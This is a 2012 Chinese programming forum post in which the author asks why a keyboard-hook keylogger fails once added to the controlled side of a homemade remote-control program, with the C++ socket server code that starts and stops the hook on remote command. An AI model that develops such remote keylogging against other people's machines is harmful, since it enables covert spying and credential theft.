关于远程控制程序的键盘记录功能
本帖最后由 CrazyBW 于 2012-11-27 17:24:58 编辑 这几天在写一个简单远程控制程序,通信用的是CSocket类,今天在加一个远程键盘记录功能的时候出了一点问题。
键盘记录(用钩子实现)在本地程序测试的时候没有问题,当我把这个功能加在被控端的时候,出问题了,我粘代码。 如下:
unsigned int StartServer(LPVOID lParam)
{
AfxSocketInit();
CSocket aSocket, clientSocket;
aSocket.Socket();
BOOL bOptVal = TRUE;
int bOptLen = sizeof(BOOL);
aSocket.SetSockOpt(SO_REUSEADDR, (void *)&bOptVal, bOptLen, SOL_SOCKET);
aSocket.Bind(nPort);
aSocket.Listen(10);
//循环接收指令
while(1)
{
if(!aSocket.Accept(clientSocket))
{
continue;
}
else
{
char szRecvMsg[256] = {0};
clientSocket.Receive(szRecvMsg, 256);
if ( !strcmp(szRecvMsg, "StartHook") ) //设置全局钩子,开启键盘记录
{
InstallLaunchEv();
}
else if ( !strcmp(szRecvMsg, "KillHook") ) //结束全局钩子
{
CloseHook();
}
else
{
AfxMessageBox("未知指令");
clientSocket.Close();
}
}
}
aSocket.Close();
clientSocket.Close();
return 0;
}